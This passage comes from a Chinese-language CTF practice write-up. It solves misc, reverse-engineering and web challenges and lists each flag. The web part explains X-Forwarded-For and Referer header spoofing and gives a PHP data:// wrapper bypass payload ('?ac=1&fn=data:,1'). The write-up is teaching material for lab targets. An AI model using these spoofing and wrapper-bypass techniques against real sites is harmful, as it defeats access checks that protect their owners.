  >盲水印<span style="user-select:none"> ↗</span></a
>
，一种图像隐写方式，把两张图使用脚本进行反解，注意python3版本的脚本和python2的原理一样的，但是python3与python2的random算法不同，使用python3脚本需要在命令后加<code>--oldseed</code>我的python3脚本名称为bwm.py，我将两张图进行反解，将解出的水印图保存为C.png。命令如下：</p>
<p><code>python bwm.py decode B2.png 2.png C.png --oldseed</code></p>
<p>水印如图<img
  src="/5cc9b5/nsctf4_practice_misc_4_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1200"
/>
</p>
<p>flag:<code>nsfocus{EasyBwm}</code></p>
<h3 id="misc2-weight">misc2-weight<a class="anchor" href="#misc2-weight">#</a></h3>
<p>解后里面是一张无法打开的png图片，十六进制打开。非常明显的IDAT缺失</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_5_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="780" height="555"
/>
</p>
<p>补上，图片如下</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_5_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="684" height="528"
/>
</p>
<p>宽高有问题，把高改成与宽一样<img
  src="/5cc9b5/nsctf4_practice_misc_5_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="782" height="555"
/>
</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_5_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="556" height="543"
/>
</p>
<p>识别，即可出flag</p>
<p>flag:<code>nsfocus{f5b7e4b23076f925ab0fd214e58aa675}</code></p>
<h2 id="reverse">Reverse<a class="anchor" href="#reverse">#</a></h2>
<h3 id="re1">re1<a class="anchor" href="#re1">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="675" height="325"
/>
</p>
<p>64位，无壳，拖IDA里看看</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1054" height="534"
/>
</p>
<p>进第一行字符串里看看</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_1_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1152" height="256"
/>
</p>
<p>把这两段拼起来，16进制转字符串</p>
<p>flag:<code>nsfocus{674cc15823d087192c6f3ae919b8ce78}</code></p>
<h3 id="game">Game<a class="anchor" href="#game">#</a></h3>
<p>按顺序输入1-8直接出flag，摸索着玩一会也会出<img
  src="/5cc9b5/nsctf4_practice_reverse_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1087" height="466"
/>
</p>
<p>正常解法:等我写出来再搞</p>
<h3 id="re2">re2<a class="anchor" href="#re2">#</a></h3>
<p>64位无壳，拖进IDA</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_4_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="883" height="607"
/>
</p>
<p>伪代码大致就是满足if里的条件进入<code>s0_such(Str)</code>里，跟进去</p>
<p><img
  src="/5cc9b5/nsctf4_practice_reverse_4_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1017" height="623"
/>
</p>
<p>近百条case语句，真的flag应该是其中某一条，这里的switch里是v2，我们看到<code>v2=a1[6]-3</code>，刚才的伪代码里str[6]=83，所以这里v2为80，flag里base64解码</p>
<p>flag:<code>nsfocus{Th4_A11-Know1ng_K1ng}</code></p>
<h2 id="web">Web<a class="anchor" href="#web">#</a></h2>
<h3 id="签到喽">签到喽~<a class="anchor" href="#签到喽">#</a></h3>
<p>网络响应头里</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<h3 id="myself">Myself~<a class="anchor" href="#myself">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="600" height="166"
/>
</p>
<p>自己的电脑，XFF欺骗，修改请求头X-Forwarded-For即可，这里推荐使用ModHeader插件</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="769" height="247"
/>
</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="426" height="121"
/>
</p>
<p>从主页跳转，修改Referer为靶机主页</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="725" height="209"
/>
</p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_2_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="558" height="91"
/>
</p>
<p>得到flag:<code>flag{15cc8eee88302965c61497c147e6ca4c}</code></p>
<h3 id="php是">php是&hellip;&hellip;<a class="anchor" href="#php是">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_web_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="529" height="410"
/>
</p>
<p>读代码，伪协议绕过</p>
<p>payload:<code>?ac=1&amp;fn=data:,1</code></p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_3_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="664" height="148"
/>
</p>
<p>flag:<code>flag{5592f1a9fa885a77ba55497e501a101a}</code></p>
]]></content:encoded><category>WEB</category><category>Misc</category><category>Crypto</category><category>Reverse</category></item></channel></rss>